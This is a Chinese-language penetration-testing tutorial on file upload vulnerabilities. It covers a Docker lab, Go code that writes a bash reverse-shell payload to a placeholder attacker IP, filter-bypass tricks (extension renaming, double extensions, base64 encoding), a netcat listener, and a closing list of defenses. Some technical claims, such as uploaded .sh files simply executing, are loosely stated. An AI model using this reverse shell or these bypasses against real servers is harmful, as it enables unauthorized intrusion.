0x01 攻击板块：文件上传的魔法

说到文件上传漏洞，很多人可能觉得这只是个小问题。然而在一次真实的渗透测试中，我发现一家公司的HR系统存在文件上传漏洞，结果直接获得了服务器的控制权。这让我意识到，这种漏洞一旦被利用，可能会导致严重的后果。

文件上传漏洞通常发生在对用户上传文件的验证不够严密，导致恶意文件可以上传到服务器并执行。在这篇文章中，我将带你深入探讨如何从攻击者的角度利用文件上传漏洞，并提供详细的实战步骤和代码示例。

0x02 实战环境搭建：搭建战场

在开始我们的渗透测试之前，我们需要搭建一个实验环境来模拟攻击。这不仅能帮助你理解漏洞的成因，还能让你熟悉攻击流程。我们将使用Docker来快速部署一个简单的Web应用，该应用存在文件上传漏洞。

环境需求

• Docker
• Go语言编译环境
• Shell操作

搭建步骤

1. 安装Docker：确保你已经安装了Docker，并能够正常运行。

1. 获取漏洞Web应用：

我们从网上下载一个存在文件上传漏洞的Web应用，并使用Docker来部署。

<pre><code class="language-shell"># 克隆漏洞应用代码 git clone https://github.com/vulnerable-app/file-upload-vuln.git cd file-upload-vuln

构建Docker镜像

docker build -t file-upload-vuln .

启动容器

docker run -d -p 8080:80 file-upload-vuln</code></pre>

1. 访问应用：

打开浏览器访问 http://localhost:8080，你将看到一个简单的文件上传页面。

在这个环境中，我们将利用文件上传漏洞进行渗透测试。

0x03 Payload构造的艺术：从无到有

文件上传漏洞通常涉及上传恶意文件到服务器并执行，为了实现这一点，我们需要构造一个有效的Payload。在这里，Go语言将帮我们生成一个恶意文件，该文件在被上传后会尝试执行命令。

Go代码生成Shell文件

我们的目标是生成一个简单的Shell脚本，通过文件上传功能上传到目标服务器。

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;os&quot; )

func main() { // 创建Shell文件 file, err := os.Create(&quot;payload.sh&quot;) if err != nil { fmt.Println(&quot;无法创建文件:&quot;, err) return } defer file.Close()

// 写入恶意代码 payload := `#!/bin/bash

这是我们的恶意命令，尝试开启反向Shell

bash -i &gt;&amp; /dev/tcp/[攻击者IP]/[攻击者端口] 0&gt;&amp;1`

_, err = file.WriteString(payload) if err != nil { fmt.Println(&quot;写入文件失败:&quot;, err) return }

fmt.Println(&quot;生成恶意Shell文件成功&quot;) }</code></pre>

运行这段Go代码，它会生成一个可以用于上传的payload.sh文件。不要忘记替换 [攻击者IP] 和 [攻击者端口] 为你自己的监听地址。

0x04 绕过障碍：防御无效化

在攻击过程中，我们可能会遇到一些防御机制，比如文件类型验证或黑名单过滤。为了绕过这些机制，我们可以采取以下措施：

文件类型绕过

很多应用通过简单的文件后缀来验证文件类型。我们可以通过修改文件后缀或利用双后缀绕过这种验证。

技巧1：修改后缀

将 .sh 修改为 .jpg 或其他允许上传的文件类型。

技巧2：双后缀

使用双后缀，例如 payload.jpg.sh，一些验证机制只检查第一个后缀。

黑名单绕过

有些应用使用黑名单过滤特定类型的文件。我们可以通过混淆文件内容或使用编码方法绕过。

技巧1：混淆内容

在Shell文件开头加入大量注释或无关代码，使其看起来不像恶意代码。

技巧2：编码绕过

将文件内容编码为Base64，然后在服务器上解码执行。

0x05 流量捕获实战：攻击链的终极阶段

在上传恶意文件并成功绕过验证后，我们需要监听目标设备以捕获流量并执行命令。在这里，我们可以使用Netcat来监听连接。

启动监听

在攻击者机器上，启动Netcat监听目标反向连接。

<pre><code class="language-shell"># 启动Netcat监听 nc -lvp [攻击者端口]</code></pre>

上传并执行

访问Web应用的上传页面，上传我们的payload.sh文件，并尝试执行。如果一切顺利，你将看到目标服务器连接到你的Netcat监听器。

0x06 检测与防御：如何遏制攻击

了解攻击原理后，作为安全人员，我们也需要采取措施来防御这种攻击。

防御措施

1. 严格的文件类型验证：使用MIME类型验证，而不仅仅是后缀名。

1. 实施白名单：仅允许预定义类型的文件上传。

1. 限制执行权限：上传目录应设置为不可执行。

1. 监控上传流量：使用EDR工具监控并分析上传流量。

1. 定期安全审计：对文件上传功能进行定期安全评估。

0x07 个人经验分享：从失败中学习

在无数次的渗透测试中，我发现文件上传漏洞常被忽视。然而，只要我们充分理解漏洞的成因，并掌握绕过防御机制的方法，就能在渗透测试中取得令人意想不到的成功。

每次攻击后，我会反思并总结经验，不断完善自己的攻击技巧和防御策略。希望这篇文章能为你提供启发，让你在学习过程中，不断进步。

记住，学习攻击技术是为了更好的防御，而不是伤害他人。请仅在授权情况下进行渗透测试。